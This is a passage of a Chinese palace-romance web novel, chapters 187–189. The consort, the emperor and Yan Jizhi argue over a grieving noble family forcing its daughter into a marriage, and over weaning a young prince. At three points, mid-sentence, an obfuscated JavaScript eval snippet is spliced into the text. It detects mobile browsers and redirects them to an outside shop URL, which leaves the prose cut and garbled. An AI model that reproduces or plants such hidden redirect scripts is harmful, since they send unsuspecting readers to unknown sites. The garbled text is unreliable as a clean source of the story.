霍灵渠看眼堂姐,拿布老虎给小婴儿,霍舒窈就笑了:“打量着陛下悲痛,她好去安慰就能复宠了?那是什么时候,她又多久没见过陛下了,都被降做美人了,还敢贸然往前撞,不适得其反再被降位乃至连累她两个皇子都是她走运了。” “你看她懂不懂?不让她去皇极宫不是我的意思。”霍灵渠淡淡道。 “那两位皇子摊上这么个生母,倒霉了。”霍舒窈话锋一转:“萧灼灼要嫁人了。” “啊?”霍灵渠有点懵:“这宜春县主不是还在孝期?”山东众多高门遭杀害,萧灼灼家就她和她娘、二哥、小弟幸免于难,萧灼灼不愿在家中,几个人陪她在庄子上,也因此,他们四人逃过一劫,她家其他人都丧生了。 “热孝成亲,女子在热孝也可以嫁人嘛。”霍舒窈不是这点同情心都没有,但这事做得怎么叫人看得上眼,霍灵渠难以置信,小婴儿也看去,霍舒窈摸摸这小皇子的额头,确定道:“你姐夫今早出门去接他们了,他们已经在三百里外了。” “嫁谁家?”霍灵渠自己猜:“不会是秦王府吧?” “就是秦王府。”霍舒窈想想就想乐:“下个月,三月三,萧灼灼嫁秦王夫妇的嫡幼子,你姐姐我还想呢,我和你姐夫对这堂弟堂妹要管到底了,真是我自作多情。” 霍舒窈难掩讽刺:“秦王府沉寂十多年,好不容易拨开云雾了,秦王妃要给小儿子谋一门好亲事,马上就有了,这嫡少爷才18岁呢,多好啊,人家萧灼灼刚死了爹,死了大哥,死了那么至亲,秦王妃但凡说一个不愿意就能用唾沫星子把他们淹死。” 霍灵渠蹙眉:“宜春县主就认了,嫁秦王府,她娘和兄长还替她想过吗?” “她家里遭大难了。”霍舒窈一言蔽之。 “那么你公婆呢?”霍灵渠警醒道:“你公婆今后是要把侄儿供起来吗,热脸贴冷脸,你们都要上赶着?大姐,你们可把他们家绑过两回了,为他们好,他们懂吗?不论萧耿裕还是他娘都不会再给你们好脸,但伯父家给帮衬,他们会照拿。” “我知道,但眼下,伯父家怎么撒手,往后嘛,面上过得去就行了。”霍舒窈看,恐怕不仅她婆婆对着妯娌消受不起,她公爹能忍侄子三年的冷脸也到头了。 霍灵渠摇头:“有些大家庭败落真是自家秉性所致。” 霍舒窈冷笑:“可不就是!” 姐姐离去,霍灵渠派人去传英王世子,再让宫人把小婴儿抱下去。 晏霁之来关雎宫,看见女人装模作样板着脸。 “你在跟我生气?”晏霁之奇怪,霍灵渠:“……”霍灵渠在心里骂他,你还看得出来我生气了呀,你晓得你多少天没来看过我了吗?快两个月了。 你在京中,你都能五十几天不来找我,你还记得你以前来找我找得多勤吗?只因年前我把你赶走,你就这么久不来看我,你还有脸说想我、喜欢我、牵挂我? 你个骗子! 宫人禀告:四皇子要找贵妃。 霍灵渠允了,宫人抱来四皇子,霍灵渠抱过小婴儿,宫人们退下,霍灵渠睨过晏霁之,一脸对晏霁之相拒的冷淡:“把我给你绣的荷包给我。” 晏霁之险些跟她生气:“理由?” 霍灵渠气咻咻:“我要再绣个骗子。” 晏霁之乐了,坐到她身侧,还跟这小婴儿互看看:“但我发现比你脸嫩的人了。” 霍灵渠在心里冒醋味,没好声道:“谁呀?” “他呀,”晏霁之眼弯弯,笑盈盈的,抬手碰碰这婴儿的脸,霍灵渠被噎下,不想理,晏霁之讨好:“自元宵以来,大家都缩着脖子,生怕一个不慎撞枪口上,脑袋就搬家了,我不能太特立独行了,不然你就见不到我了。” 油嘴滑舌,我信你才奇了,霍灵渠在心里抵抗,晏霁之亲她脸颊一口,霍灵渠猛地一懵又一个激灵,俏脸羞赧,想打他,这还有外人呢虽然是个小婴儿,但毕竟不是只他们俩人,晏霁之环抱住美人,失笑道:“这小婴儿夜里醒来几回?” 小婴儿水灵灵的眼睛,小脸肉嘟嘟,霍灵渠看着小婴儿,平静了些。 “就一回,不算难带。”霍灵渠自然倚着晏霁之,她是想他了。晏霁之顾虑:“你看看,把这小婴儿夜里醒来的毛病改掉,让他睡整觉,一觉睡到天亮,多好。” “这样的话?”霍灵渠歪歪头:“这小婴儿得跟我睡,他夜里醒来了,我哄他轻省些,但他半夜醒来要吃奶,我都给他改掉,会不会好像我苛待他?” “那你让乳母带他。”晏霁之也歪头枕靠着女人。 “那不行,皇帝若留宿,有这小婴儿在,我好歹自在些也能打发皇帝。”霍灵渠琢磨:“你还记不记得你年幼是几个月大时断奶?” 晏霁之:“……”这就不必商量了吧,你认为我会想谈这种事吗?某人假装若无其事:“呃,我祖母告诉我,我大概一岁半给我断奶了。” “霍家是娃娃15个月时断奶,15个月大的娃会走了,我祖父觉得会走路的娃还吃奶,不像话,家里的小娃一律都15个月断奶。”霍灵渠柔情,他担心带着小婴儿她夜里睡不好,晏霁之没看见女人美眸多甜:“宫里的皇嗣两岁至两岁半断奶。” 霍灵渠看这小婴儿,定道:“他一岁半,我给他断奶,就先从夜里开始。” 殿外,响起宫人的高喊:“陛下驾到。” 霍灵渠立时有点心情不好,晏霁之猜都知道嬴忱璧要来,退到臣子的位置,恭候,皇帝嬴忱璧进来,晏霁之请安,霍灵渠懒得行礼,抱小婴儿坐着,嬴忱璧没和贵妃计较,笑问:“贵妃特意传召晏卿,在聊什么呢?” “断奶。”晏霁之煞有其事:“臣在一岁半时断奶,贵妃是15个月大时断奶。” “哦?”皇帝显然不信,晏霁之曝料:“陛下是两岁半时断奶吧?” 嬴忱璧:“……”皇帝假笑:“霁之怎会和贵妃闲谈这话?” 晏霁之禀告:“贵妃打算四皇子一岁半给四皇子断奶。” 宫人们奉过茶水后退下,嬴忱璧转向贵妃,好像好奇:“皇嗣都是两岁至两岁半断奶,贵妃怎么会想皇儿满一岁半就给皇儿断奶?” “他夜里会醒来呀,多影响我睡眠。”霍灵渠瞧着皇帝精神奕奕,应该不会触霉头了:“霍家的娃15个月会走路了就断奶,我都给他延长到一岁半了。” 嬴忱璧道:“好,就依贵妃,今后皇嗣一岁半断奶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638988|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍灵渠郁闷,还得谢恩,嬴忱璧问:“贵妃特意传召晏卿,是有什么事?” 晏霁之端茶盏饮茶,霍灵渠真嫌被管束压抑,反唇相讥:“正月里,太上皇下罪己诏,还要将朝堂诸事全都移交给陛下裁决,陛下何不接着?” 嬴忱璧闻言也端茶盅喝茶,霍灵渠把小婴儿抱抱好,很自在,小婴儿想跟贵妃碰碰脸,霍灵渠笑,喜悦的和小婴儿贴脸,小婴儿高兴了,小嘴擦擦贵妃脸颊,晏霁之看得别过脸,难怪这小婴儿之前愣愣看着,希望嬴忱璧没察觉出什么古怪。 嬴忱璧没发觉,霍灵渠都没多想呢。 “陛下,圣人近来颇有些病重吧?”晏霁之打圆场。 “嗯。”嬴忱璧放下茶盅:“太上皇许久不曾这样病重过了,还掩盖着,怕扰乱军心。”嬴忱璧语气微沉:“圣人这一病,没个几月怕是不能病愈。” “陛下未想过请太上皇宽心吗?”霍灵渠记挂道:“朱家造反、除夕和元宵夜的惨祸,太上皇放权、不再过问朝堂是势在必行。”何必还非得拧着。 嬴忱璧不语,晏霁之道:“贵妃,圣人在病中。” 霍灵渠在心里低叹,太上皇不会想颐养天年,何况在病中,受不得刺激,皇帝若接了,太上皇在病中怕都要想除去皇帝,嬴忱璧又还有孝心,不可能在父亲病重时还想与父争夺,再者战祸未息,朝廷当和洽,有些话不要提了,皇帝不爱听。 “那么多高门望族,怎么会那么轻易在一夜间被害?”霍灵渠想不懂。 皇帝看向爱卿,晏霁之解释:“这些人家中,有给外族引路的,有作壁上观的,有想坐收渔利的,还有想趁火打劫的,真论起来,无辜的才是少数,只是他们没想到,外族的獠牙率先是冲着他们,这才被打个措手不及。” “是这样?”霍灵渠讶然,又心里一个咯噔:“宜春县主家无辜吗?” 嬴忱璧龙颜淡漠,晏霁之给几个字:“想从中获利。” 怨不得,都知他们家被绑了以免给外族引路,她都会想怀疑他家未必干净,霍灵渠想,再把她爹的猜疑告诉皇帝,嬴忱璧再看卿家,晏霁之想褒奖自己,皇帝因公假私他都忍了:“陛下已经筹划好了,明年,让臣和冠军侯去训练水师。” 霍灵渠愣住,险些在皇帝面前失态:“你要去多久?” “计划三四年内,正徽十年年底前把这笔血债讨回来。”晏霁之略沉寂,他领教过了,皇权的威重,还是有丝感触,嬴忱璧轻飘飘的,就能在册立继后前把晏霁之放在千里之外。 霍灵渠握拳头想打皇帝,三四年,皇帝一定是故意的! “臣三月初一要离京了,去给魏王和冠军侯助一臂之力。”晏霁之给女人心里再补刀,霍灵渠木然,否则她怕她想抄起这小婴儿就用他儿子打爆皇帝的头,她不生气,就一盆冰水把她浇个透心凉嘛。 嬴忱璧莞尔:“贵妃传召晏卿就为此?” “臣妾想和霁之谈宜春县主的婚事。”霍灵渠告诉他,嬴忱璧看眼贵妃,看向晏霁之,晏霁之表示:还没谈。 嬴忱璧直觉感到奇怪:“贵妃想送礼?” “陛下怎么会这么想?”霍灵渠反诧异:“我是说,你怎么会猜我会想送礼?” “不是送礼,贵妃谈宜春的婚事还能为何?”皇帝理所当然。 霍灵渠激励:“陛下没想过劝他们取消婚事吗?” 嬴忱璧看向晏霁之,晏霁之微笑,皇帝觉得晏霁之在对他幸灾乐祸。 188. 第188章 阳光下,桃花开。 “贵妃此语,莫非贵妃还觉得宜春该看重情爱,若非心悦之人就不嫁吗?”嬴忱璧想入非非,觉得贵妃纯真可爱,他心里甜蜜,皇帝想抱贵妃入怀,真嫌妨碍了想把晏霁之赶走。 晏霁之看皇帝又像在傻乐了就知道嬴忱璧得犯桃花。 “我不认为婚嫁该看重情爱呀。”霍灵渠纠正道:“婚嫁是结两姓之好,几家重情爱了,嫁人是给女子下半生的归宿,但宜春县主这门亲事是什么,她娘和兄长给她找个坟墓吗,当然宜春县主和她这未婚夫婿若是两厢情愿,当我没说。” “贵妃,坟墓二字,言重了。”皇帝懂了,贵妃的意思,若语重心长:“其实没那么差,宜春自己应该就很有数了,没想生养,甚至夫婿不会碰她,但她正室的位置不会动摇,夫妻俩各过各、婆母客气、公爹还会给她撑腰,日子很好过。” “我知道,深居简出、装聋作哑,把自己当牌位摆在夫家。”霍灵渠哀悯:“可若是如此又何必嫁人?好好一个人像牌位一样活着,这样的婚姻,作甚要嫁?” 宜春没有清白了好吧,嬴忱璧小心思瞄眼霍贵妃,果然你跟清白入宫没有不同呢,皇帝又瞥过晏霁之,晏霁之老神在在,霍灵渠抓包:“陛下在想萧灼灼都没有清白了,这都是她最好的出路了是吧?”她冲着皇帝的眼神凉飕飕的。 霍灵渠还让小婴儿转个方向面朝他爹,嬴忱璧:“……” 皇帝发话:“晏卿退下吧。” “不准走!”霍灵渠凶皇帝:“要走你走。” “贵妃?”嬴忱璧还想摆摆谱,霍灵渠把小婴儿塞他爹怀里,一个箭步退出到三步外,晏霁之站起来,嬴忱璧脑中警铃大作好像能预见到,但凡他敢说让晏霁之退下,他这位贵妃就能拉着晏霁之跑掉,对,拉着,手牵手跑,皇帝感觉脑子在震动,欺人太甚! 嬴忱璧咬牙忍住了,大丈夫能屈能伸! “贵妃,朕珍爱贵妃是朕喜欢贵妃,朕想对贵妃好,但宜春和她未婚夫没情爱,这未婚夫娶她都已非自愿,他们夫妇将来能各过各已是最好,你不能拿朕对你的好去要求他们。”嬴忱璧示意让贵妃回来,还不忘找支持:“霁之说是吧?” 晏霁之应和:“陛下所言甚是。” 霍灵渠抱过小婴儿,着重道:“我的意思是,宜春县主该对抗她哥,不嫁。” 这下,嬴忱璧就有话了:“若是贵妃遭遇宜春的情形,你不嫁?” “当然不嫁。”霍灵渠理所当然,嬴忱璧一噎,看晏霁之,晏霁之坦然自若,嬴忱璧道:“假设是你家中遭到重创需要有这门姻亲,完全是为家族,你还能不嫁?” “放屁!”霍灵渠激烈。 “咳!!”晏霁之手抵唇重咳,皇帝眼神飘飘,霍灵渠迅猛瞥过,斥道:“什么为家族,自家门楣不是自家撑起来反而要靠他人吗,没骨头,他们怎么不把萧灼灼塞给你,还能有比给皇帝塞个女人仰赖皇恩赏赐更好捧的软骨头吗?” 嬴忱璧不以为然:“贵妃,你话不能这么说。”言辞过了。 晏霁之拆台:“我赞同贵妃。” 皇帝瞪他,晏霁之提议:“陛下可以拉拢四皇子赞同你。”惹得皇帝抄起颗枣子就砸他,晏霁之避过,嬴忱璧看他不识好歹就要找打的:“萧岘家刚遭遇悲怆困厄,可以事不关己,但若还要踩着人家的痛楚去冷言冷语,你自己说还像话吗?” 霍灵渠瞟瞟皇帝,倒杯茶喝。 “陛下你才是不要因怜悯混淆是非。”晏霁之反对:“萧耿裕悲痛和他的吃相是两回事,总不能因他悲痛不看他吃相难看,至少表兄你作为皇帝不该混淆吧。” “萧灼灼嫁入秦王府和丈夫婆婆不结仇都不差多少了。”晏霁之刚柔相济:“萧岘走了,他家一众亲戚,外祖家,萧岐这伯父,还有秦王府,谁会放任萧耿裕兄妹不管,想振家威,就在他眼前,他看不见吗?那群来劫掠的蛮夷还在呢。 萧耿裕若想请个旨意求去绞杀蛮夷,既给他挣名声更是为他自家报仇了,不才应当吗,被外族来把他的家人杀得所剩无几,仇人在家门前,他连想去报仇都不想,偏想把萧灼灼塞进秦王府,压着秦王妃母子硬生生接下来,这是什么吃相?” “不是贵妃冷言冷语,是萧耿裕若把妹妹塞给你就没法要脸了,所以他没选你,但若萧灼灼还有清白,萧耿裕还会想秦王府吗?”晏霁之势若力拔千钧:“是给你! 这表姑母去和你爹哭一哭,给萧灼灼一个妃位,你都逃不了,假若表哥你根本不想要,但人家还就是能把萧灼灼硬塞给你,且入宫就是从一品妃位,你怎么看?” 嬴忱璧沉默少顷,转向贵妃:“朕记得贵妃曾言,对家族的疼爱该有感恩。” 霍灵渠打发:“家人给自己找一座坟墓叫疼爱?” 晏霁之品茶,嬴忱璧据理力争:“那之前的疼爱呢,难道是假的吗?” “这是要把亲情论斤卖吗?”霍灵渠疾言抨击:“父母疼爱儿女,兄弟们疼爱姐妹就是为将来卖你的时候不要反抗好让爹娘和兄弟们心安理得吗?” “所以,假设是你家中遭遇重创,自家一时间支撑不住需要你为家族嫁人,你若不嫁,这个家就要败落,你会眼睁睁看着自家败落吗?”嬴忱璧直击靶心。 皇帝自己都没意识到他的严阵以待。 “多大本事接多大富贵。”霍灵渠嗤之以鼻:“有本事,享荣华,没本事,去乡下过活,我们也接得住,我霍家,从我祖父到我大哥都绝没有要卖女儿卖妹妹的。” 嬴忱璧忽然有些恍惚,霍灵渠好言劝:“陛下对败落有何耿耿于怀,你不愿看见几百年的老世家根深叶茂,权贵间盘根错节错综复杂,还有什么看不开?” 嬴忱璧唏嘘:“贵妃深远,朕想浅了。” “贵妃还有一层意思,宜春县主该对抗她哥,不嫁,秦王妃母子也应该说不,对吗?”晏霁之奕奕神采笑,霍灵渠视线看向他,眼底浅浅晶亮甜:“嗯。” “秦王妃母子该抵抗说不?”嬴忱璧怀疑他和贵妃的想法能有这么大出入? “不愿意当然拒绝呀。”霍灵渠说,皇帝提醒:“对方家里刚遭难。” “我可以同情她呀,但不是牺牲我自己。”霍灵渠昂扬:“她的悲痛又不是我造成的,我可以尽点绵薄心意帮助她,但若让我来牺牲我自己去填她的悲,这不是有病吗,想恶心谁,这事若放我们家,我们能把对方八辈祖宗骂出来。” 皇帝嬴忱璧看向晏霁之,晏霁之坦言:“拒绝,但我没灵渠磊落。” “这其实是一件很无耻的事,其无耻就在于贵妃说的牺牲,逼迫他人牺牲填补自己。”对萧耿裕要把妹妹嫁进秦王府,晏霁之猜到了,原本没多想,他忍住不去看她,娓娓道来:“咸敬郡主和萧耿裕母子俩何以敢堂而皇之向秦王府要亲事? 因为他们家死人了,遭损失了,但这两件事有联系吗? 没有,根本没有,但,恶绑架了善,我家遭重创,我对你提要求,你敢拒绝我?世人向来同情悲怆,一旦拒绝,唾沫星子就能把人淹死,而人,多数人往往承受不了这股压力,恰如秦王妃不情愿但在这桩亲事面前无法说出一个不字。 而悲怆又是最好的遮羞布,能让人忘却了思量这件事的实质就是一出恶心的恃弱凌强,妄想倚仗着悲怆肆无忌惮的劫掠来填补自家的损失。” 嬴忱璧心思沉静又像有一股热在心里烧,晏霁之善谏:“陛下,这件事情,秦王妃母子反感但不敢拒绝没什么,但若是陛下,萧灼灼若有清白,萧耿裕想把妹妹塞给你,臣以为,陛下该拒绝,纵使太上皇心疼表妹答应了,陛下不愿意也该拒绝。” “不会太不近人情吗?毕竟……”嬴忱璧想打趣就哑住了,晏霁之弯唇:“毕竟,塞给皇帝,人家又不是要后位,给个嫔妃的位置,陛下当然可以给,但你说不下去了,因为,萧灼灼若是清白身塞给你,萧耿裕为什么不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651630|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后位和储位? 而你纵使反感对方的做法,依然难以拒绝,觉得拒绝会不近人情,或者说给出个嫔妃位对你没什么损害,你完全能包容,所以看着人家的悲,你不忍心。而这,正是阴狠所在,算计被牺牲者的同情心,它利用了所有能利用的一切。 太上皇若被咸敬郡主求上门想让萧灼灼进宫,圣人会拒绝这个表妹吗?不会,所以说这场算计几乎无敌,连皇帝你和太上皇都被轻易拿捏住了。” 嬴忱璧骤然怒,抄起茶盅狠狠一摔。 小婴儿吓得往贵妃怀里挤,霍灵渠连忙安抚小婴儿,嬴忱璧看眼孩儿,带晏霁之离去,霍灵渠喊住:“陛下能劝他们取消婚事吗,宜春县主和她未婚夫若是两厢情愿,自然好,但若是他们不愿,这样的婚姻,小夫妻两个都苦,何必呢?” “这门亲事已定。”皇帝答:“这对小夫妻苦不苦不重要,萧耿裕要这门亲事,秦王愿意帮衬应允婚事,宜春就是在婚前死了,她的牌位都得入秦王府。” 霍灵渠看向晏霁之,晏霁之点头。 “还真是找个坟墓。”霍灵渠若有悲哀:“你们都不试试吗?” “贵妃心善,但真的不必,萧灼灼自己都会认定要老死秦王府,她在秦王府一天,她的夫家休想忘掉她娘家,将来老秦王和秦王去世,秦王世子掌家,这大伯子都休想撇得掉。这门亲事不是想要秦王府帮扶姻亲,是——”晏霁之注视霍灵渠。 霍灵渠脑中轰然:“吸血?” “对,吸血。”晏霁之洞穿道:“而且是长年累月吸血,萧灼灼不死休想断了。” 霍灵渠倒吸气:“那?” 晏霁之否决:“告诉秦王没用,因为这在秦王府的承受范围内,哪怕秦王会不舒服,但咸敬郡主毕竟是老秦王的亲外甥女,这算计敞明了,老王爷也做不到不管。” 霍灵渠颓然,嬴忱璧感惜,他也是,若非谈起,他竟全没察觉这当中的恶! 皇帝带晏霁之走出大殿,嬴忱璧站在殿前感受会儿太阳,晏霁之回头望眼,被抓包了,嬴忱璧瞪着他真想给他用点刑,晏霁之默默转头,不被赶,绝不主动走。 二皇子来找父皇,皇帝无意识的情绪被低压:“今天这么早下学堂?” 二皇子看爹爹,抿抿小嘴角,含糊应过,伸小手拉着父皇的衣袍,想跟爹爹单独说话,嬴忱璧没答应:“你晏表叔不是外人,皇儿有话直说吧。” “父皇,贵妃还不是在针对我母妃吗?”二皇子忍好久了,但身边人不让他去皇极宫,他爹今天才有空来后宫,只能忍到今天向爹爹诉苦。 嬴忱璧脸难看,还微有薄怒,晏霁之怕皇帝没耐心了对这小孩发火,招个宫人来交代:“带几个人陪着二皇子去找两位宝林给二皇子说说。” 嬴忱璧未语,当是默认了。 小太监招呼几个人来,向陛下告退,牵住二皇子的小手半哄半拽地请走了。 “朕刚才真有嫌楚美人麻烦想将二皇儿单独送出宫住几天。”嬴忱璧说,晏霁之规劝:“假若萧灼灼进宫,面对陛下,她的悲怆都会是她长久的盾牌,目前而言,有两个皇子就是楚美人的盾牌。小孩子嘛,陛下犯不着动气。” 嬴忱璧倏尔笑了:“对,盾牌,假若宜春是入宫,还真有期望大杀四方。” 晏霁之看去,正徽帝的眉宇阴沉。 给宜春县主萧灼灼送嫁的萧家人和佟梦如姐弟是同一天抵京,佟梦如近乎爬进吏部衙门,快找到大外甥了,摔在侍郎屋子的门槛上,佟梦佶扶着姐姐都扶她不起来,一片衣角入眼,佟梦如抬头,血红的眼睛,泪痕满面,晏霁之默哀,佟梦佶别过头。 佟梦如撕心裂肺。 三十而立,皇帝三十岁生辰没有隆重,但有一礼,嬴忱璧看过朱存焳和朱芑适的首级,禁军们提着首级盒退下。 嬴忱璧站在太极殿瞭望,他三十岁,而立之年了。 三月初一,晏霁之离京,奔赴山东。 189. 第189章 思念,会百爪挠心。 霍灵渠尝过消沉,会茶饭不思,尝过牵挂,浅浅的萦绕在心,但不影响生活。没想,还能有烦闷暴躁,晏霁之离京了,离京前一天都不来看她,霍灵渠不舒服,很不舒服,憋闷、乏味、难受,还觉得慢,一刻钟都慢得好像比两三天还漫长。 霍灵渠搬来匣铜板想数钱让自己高兴,没兴趣,又搬来匣金元宝和银元宝,还是懒怠得连数都提不起劲儿,有窝火想发泄又没处发泄,霍灵渠感觉要发疯。 她在小婴儿爬的厚被褥上,怕单薄,特意在地板铺的厚被褥,小婴儿爬过去握住贵妃,霍灵渠探手摸摸小婴儿的两颗门牙,小婴儿咯咯笑着往贵妃怀里拱。 霍雄鹰来时,霍灵渠没劲得在拿脸挤小婴儿的嫩脸,霍雄鹰装若无其事又稍显做贼心虚地给姐姐一个荷包,哎呀他真不想做这种信差。霍灵渠打开荷包看,一袋糖,一个平安符,腹诽,送个平安符什么意思?怪我不给你送平安符,让我给你多求平安吗? 皇帝嬴忱璧至,霍灵渠藏起平安符,嬴忱璧瞥过糖袋,看向霍雄鹰,霍雄鹰没啥破绽:“贵妃宫里的糖吃多了想念民间的糖,让小臣给带一袋来换换口味。” 嬴忱璧伸手去拿糖,霍灵渠一掌拍向皇帝的手背,皇帝装作刚才什么都没发生,让霍雄鹰退下,又喊住,让贵妃拿两颗糖给堂弟,霍灵渠就让弟弟装一袋金元宝。 两人这才注意到摆在矮桌的三只木匣,嬴忱璧问:“贵妃这是在做什么?” “数钱呀,数钱我高兴!”霍灵渠夹枪带棒,皇帝不说话了,霍雄鹰识趣告退。 嬴忱璧坐近去,环手圈住贵妃,霍灵渠一个激灵冷颤,寒毛倒竖,小婴儿打他爹手背,嬴忱璧愣下,霍灵渠乐了,推开皇帝的手臂,把糖袋收衣袖里,把小婴儿抱起来贴贴脸,逗得小婴儿直开怀,嬴忱璧失笑,抬手摸摸皇儿的脑袋。 二皇子兄弟闯入,兄弟俩捧着托盘,托盘里盛着比他们头还大的寿桃,一个寿桃以水墨绘着山河,以金字书写山河无恙;另一个寿桃绘画腾云翱翔九天的金龙,落字,万寿无疆。跟进来的宫人请罪,两位殿下往里冲,奴婢们没拦住、没来得及禀告。 嬴忱璧让宫人们退下,两位小皇子高高兴兴向父皇祝寿,皇帝看向贵妃,霍灵渠笑问:“父皇的生辰都过了,怎么今天又给父皇祝寿呀?” “是母妃做的。”三皇子抢答,二皇子喜道:“父皇生辰那天,父皇夜里才回后宫,然后又到今天才回,母妃给父皇做的寿桃只好今天给您送来。” “这寿桃是不是凉了?”嬴忱璧未语,霍灵渠接话,二皇子放下托盘,小手碰碰寿桃,好像是凉了,看向父皇,嬴忱璧笑:“让宫人送去小厨房热热吧,皇儿这几个字认识,也写来送给父皇好吗?”小孩高兴答应,皇帝要求:“能带弟弟写吗?” 二皇子看向弟弟,三皇子也看着他哥,二皇子点头:“儿臣带弟弟写。” 嬴忱璧传宫人,带两位殿下去写字,将寿桃送去小厨房蒸热了。他们走掉,霍灵渠把小婴儿塞给他爹,皇帝都想瞪贵妃了,霍灵渠去抱她的铜板匣,嬴忱璧…… 皇帝把幼子放下,霍灵渠锁死般盯着皇帝,嬴忱璧察觉到贵妃的目光,好像他敢撒手,就又要被贵妃训,皇帝只能再抱起幼子,小婴儿还又拍拍他爹。 “今年,皇儿住宫里后,白天,贵妃都是把两个皇儿送去翡素轩?” “楚美人是他们生母。”霍灵渠懒得多事,嬴忱璧弯唇:“那两个寿桃好看吗?” “到底是楚美人一点心意。”虽然霍灵渠看来都觉得楚美人估计没怎么费心思,至于她不能在皇帝生辰当夜派宫人送来非得让儿子们送,略过吧。 “不,没心意,楚美人没有费一点心思,这是她打发敷衍的,甚至不耐烦,还有怨。”嬴忱璧道出,霍灵渠讶然:“陛下是说,她拗不过才憋着画了几笔?” “怕是提笔都差点不想呢。”嬴忱璧评价,霍灵渠细想想,是有怨,否则楚美人何必非让孩儿来送寿桃,膈应谁?这是自觉霍贵妃针对她,怨皇帝竟然放任霍贵妃。 “去年入宫的嫔御,半年多了,算上翁嫔,不论出于何种心思,好歹都懂,贵妃独大,不该在这时候冒尖,楚美人,她是不懂呢,还是只顾她自己想怎么样?”嬴忱璧眸色渐深:“还不止一回了,孩子还在学堂,她就把孩子拽回来给她跑腿。” 霍灵渠去把钱匣放好,嬴忱璧把幼子放在被褥上,让幼子自己玩会儿。 二皇子兄弟拿字来,皇帝没扫兴,陪孩儿们说说字,又问在翡素轩待得惯吗? “太小了。”三皇子说,自然赖在贵妃怀里,嬴忱璧眼神一闪,把歪倒的幼子扶坐好,霍灵渠不着痕迹问:“是宫人问过了,你在翡素轩玩得好吗?” “嗯。”三皇子看他爹:“父皇,让我母妃住回钟萃宫吧,孩儿喜欢钟萃宫。” 二皇子同看去,嬴忱璧温和道:“你们看弟弟,会爬了,很快就要学走路了,贵妃虽然让你们日日去看望生母,你们也不能忘了要多带带弟弟、陪弟弟。” “兄长爱护弟弟,弟弟敬重兄长,便是兄友弟恭。好了,父皇还有事,回宣政殿了。”嬴忱璧看向贵妃,霍灵渠演道:“过会儿就用午膳了,用过午膳再走吧。” “不了。”嬴忱璧抬手摸摸二皇儿脑袋,大步走出被褥,穿上皂靴,没有迟疑的离去,小孩们目送过,二皇子说:“贵妃,我们要去陪母妃用午膳了。” 霍灵渠温婉含笑:“好,路上小心些,不要跑。” “谢谢贵妃。”二皇子就拉着弟弟穿鞋走了,小婴儿扒着贵妃,霍灵渠抱过小婴儿。假若皇帝留着用膳或者整天都不走了,这小孩就也能一直留着。 他爹故意试试他,立竿见影。 关雎宫外,嬴忱璧望着两个孩儿远去,转身向相反的方向。 在僻静处的翁嫔待陛下走了,小碎步跑进关雎宫去给贵妃请安,遇上寿桃热好了送来,霍灵渠指着寿桃说:“这寿桃是楚美人一点心意,若喜欢,尝尝吧。” 翁嫔谢过,小心问:“贵妃,陛下心情好些了吗?” “嗯,你陪着四皇子吧。”霍灵渠走过步又交代:“四皇子一岁半,我要给他断奶了,你试着这几天就开始给小皇子喂点粥啊蛋羹啊什么的吧。” “妾晓得,谢贵妃。”前几天传出贵妃想提早一年半载给四皇子断奶,翁嫔倒没什么,贵妃又不是在小皇子半岁时就给断奶,翁家也是小娃一岁半时断奶呀。 霍灵渠离去,翁嫔抱过孩儿,看摆在矮桌的寿桃,唉,陛下生辰都过了,真有心,陛下生辰当夜不能送来关雎宫?非得弄这么一出,膈应谁呢。 越来越想作死了,还根本没想过要对贵妃感恩,不想想,你两个孩儿现下住宫里,贵妃可是天天白天把他们送去你那儿的,你得来谢贵妃恩典,贵妃有何不能不准你们娘仨见面,一旦贵妃不准了,你又能怎样?或者再让你降位,你能奈何得了什么呀? 当你这两个小子能抵什么用,陛下今后会有多少儿女,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665685|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你这两个小子若触怒贵妃,你死或者你这俩皇子被养废,你楚美人连个屁都放不出来。 小婴儿打她手背,翁嫔乐了,抱着孩儿笑:“皇儿会打人了,这几天还学会什么了?” 小婴儿挺着小身板要站起来,翁嫔连忙扶着儿子。 春夏之交,勃勃生机,皇宫传出对楚美人的流言,朱家却像陷在枯败的深秋。 朱存焳和朱芑适被暗杀后,朱家虽没有乱,但就是翟丽的娘家都意兴阑珊了,名义上,朱芗适接掌父兄之位,实际是翟丽倚靠着孟怋乂在做主,两地兵马以最快的速度合兵一处,翟丽还把驻守在韶州护卫她婆婆以及虢王等人的几千兵马给调走了。 于此,朝廷大军杀入韶州抓捕逆贼时简直如入无人之境。 “你还不走?” 两地合兵后的深夜,梅斗敲开孟怋乂的屋门。 